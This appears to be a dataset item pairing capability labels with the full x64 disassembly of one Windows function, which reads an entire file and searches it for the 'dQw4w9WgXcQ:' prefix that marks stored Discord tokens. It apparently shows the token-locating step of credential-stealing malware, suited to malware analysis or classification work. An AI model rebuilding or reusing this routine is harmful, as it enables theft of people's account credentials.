Function at 0x14001a1b0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x140087048]
xor rax, rsp
mov qword [rbp + 0x78], rax
mov rax, rdx
mov rdi, rcx
mov qword [rbp - 0x28], rcx
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
movdqa xmm1, xmmword [0x14007a5f0]
movdqu xmmword [rbp - 0x38], xmm1
mov byte [rbp - 0x48], bl
cmp qword [rdx + 0x18], 0x10
jb 0x14001a207
mov rax, qword [rdx]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x14001a2cd
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], rbx
xor r8d, r8d
lea rdx, [0x1400775f0]
mov rcx, rdi
call fcn.140007670
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x14001a2a3
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a29e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a8c4
call fcn.14003dd70
mov rax, rdi
mov rcx, qword [rbp + 0x78]
xor rcx, rsp
call fcn.14003dd50
mov rbx, qword [rsp + 0x1d0]
add rsp, 0x180
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r13d, eax
cmp eax, 0xffffffff
jne 0x14001a2e8
mov rcx, r15
jmp 0x14001a241
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rbx
mov r12, 0xffffffffffffffff
mov qword [rbp - 0x50], 0xf
cmp r13, 0x10
jae 0x14001a325
mov qword [rbp - 0x58], r13
mov r8, r13
xor edx, edx
lea rcx, [rbp - 0x68]
call fcn.14003fdf0
mov byte [rbp + r13 - 0x68], 0
jmp 0x14001a3a5
mov r14, r13
or r14, 0xf
mov eax, 0x16
cmp r14, rax
cmovb r14, rax
mov rcx, r14
add rcx, 1
cmovb rcx, r12
cmp rcx, 0x1000
jb 0x14001a378
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001a8ca
mov rcx, rax
call fcn.14003dd78
test rax, rax
je 0x14001a8b8
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14001a385
test rcx, rcx
je 0x14001a385
call fcn.14003dd78
mov rbx, rax
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], r14
mov r8, r13
xor edx, edx
mov rcx, rbx
call fcn.14003fdf0
mov byte [rbx + r13], 0
xor ebx, ebx
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rdx, qword [rbp - 0x68]
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x28]
mov r8d, r13d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001a3e7
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rdx, qword [rbp - 0x68]
mov r8, qword [rbp - 0x58]
lea rcx, [rbp - 0x48]
call fcn.140007110
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rax
lea rdx, str.dQw4w9WgXcQ:___
lea rcx, [rbp + 0x50]
call fcn.1400103c0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp - 0x20], rbx
mov byte [rbp - 0x18], 0
movdqa xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp], xmm1
mov qword [rbp + 0x10], rbx
mov byte [rbp + 0x18], 0
movdqa xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x30], 0
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], rbx
mov byte [rbp + 0x48], 0
lea r10, [rbp - 0x48]
mov r9, qword [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae r10, r9
lea rcx, [rbp - 0x48]
cmovae rcx, r9
mov rdx, qword [rbp - 0x38]
add rdx, rcx
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rcx, r9
mov qword [rsp + 0x28], r10
lea r9, [rbp + 0x50]
lea r8, [rbp - 0x20]
call fcn.140010d90
test al, al
je 0x14001a7dc
mov r9, qword [rbp - 8]
mov rcx, r9
mov r10, qword [rbp - 0x10]
sub rcx, r10
movabs rbx, 0x2aaaaaaaaaaaaaab
mov rax, rbx
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x38]
cmovne rax, r10
cmp byte [rax + 0x10], 0
je 0x14001a4e2
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
jmp 0x14001a4eb
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
cmp rdx, r8
jne 0x14001a51e
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
jmp 0x14001a533
sub r8, rdx
lea rcx, [rsp + 0x70]
call fcn.140007670
mov r9, qword [rbp - 8]
mov r10, qword [rbp - 0x10]
sub r9, r10
mov rax, rbx
imul r9
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x38]
cmovne rax, r10
cmp byte [rax + 0x10], 0
je 0x14001a562
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
jmp 0x14001a56b
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
cmp rdx, r8
jne 0x14001a5a0
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
jmp 0x14001a5ae
sub r8, rdx
lea rcx, [rsp + 0x50]
call fcn.140007670
nop
lea rsi, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rsi, qword [rsp + 0x50]
mov r14d, 0xc
mov rax, qword [rsp + 0x60]
cmp rax, r14
jb 0x14001a629
lea r15, [rax + rsi]
lea r8, [r15 - 0xb]
sub r8, rsi
lea edx, [r14 + 0x58]
mov rcx, rsi
call fcn.140040930
mov rbx, rax
test rax, rax
je 0x14001a629
nop
mov r8, r14
lea rdx, str.dQw4w9WgXcQ:
mov rcx, rbx
call fcn.140040850
test eax, eax
je 0x14001a7d4
inc rbx
lea r8, [r15 - 0xb]
sub r8, rbx
mov edx, 0x64
mov rcx, rbx
call fcn.140040930
mov rbx, rax
test rax, rax
jne 0x14001a5f0
mov rbx, r12
mov rsi, qword [rbp - 0x80]
cmp rsi, rbx
jb 0x14001a8d0
mov rax, rsi
sub rax, rbx
cmp rax, r14
cmovb r14, rax
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae rcx, qword [rsp + 0x70]
add rcx, rbx
sub rsi, r14
mov r8, rsi
sub r8, rbx
inc r8
lea rdx, [rcx + r14]
call fcn.1400401b0
mov qword [rbp - 0x80], rsi
lea rdx, [rsp + 0x70]
mov rcx, rdi
call fcn.140006930
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14001a6bd
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a6b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a8d6
call fcn.14003dd70
movdqa xmm0, xmmword [0x14007a5f0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14001a70d
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a707
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a8dc
call fcn.14003dd70
nop
lea rcx, [rbp - 0x10]
call fcn.1400102a0
nop
lea rcx, [rbp + 0x50]
call fcn.1400106c0
mov rcx, qword [rbp + 0x70]
test rcx, rcx
je 0x14001a742
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, rax
test rax, rax
je 0x14001a742
mov rax, qword [rax]
mov edx, 1
call qword [rax]
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x14001a77d
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a778
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a8e2
call fcn.14003dd70
mov qword [rbp - 0x58], 0
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x14001a2a3
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a29e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a8be
jmp 0x14001a29e
sub rbx, rsi
jmp 0x14001a62c
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], rbx
xor r8d, r8d
lea rdx, [0x1400775f0]
mov rcx, rdi
call fcn.140007670
nop
lea rcx, [rbp - 0x10]
call fcn.1400102a0
nop
lea rcx, [rbp + 0x50]
call fcn.1400106c0
mov rcx, qword [rbp + 0x70]
test rcx, rcx
je 0x14001a832
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, rax
test rax, rax
je 0x14001a832
mov rax, qword [rax]
mov edx, 1
call qword [rax]
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x14001a869
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a864
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a8b8
call fcn.14003dd70
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x14001a2a3
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a29e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a8c4
jmp 0x14001a29e
call fcn.1400447b4
nop
call fcn.1400447b4
int3
call fcn.1400447b4
nop
call fcn.1400041d0
nop
call fcn.14000b440
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
int3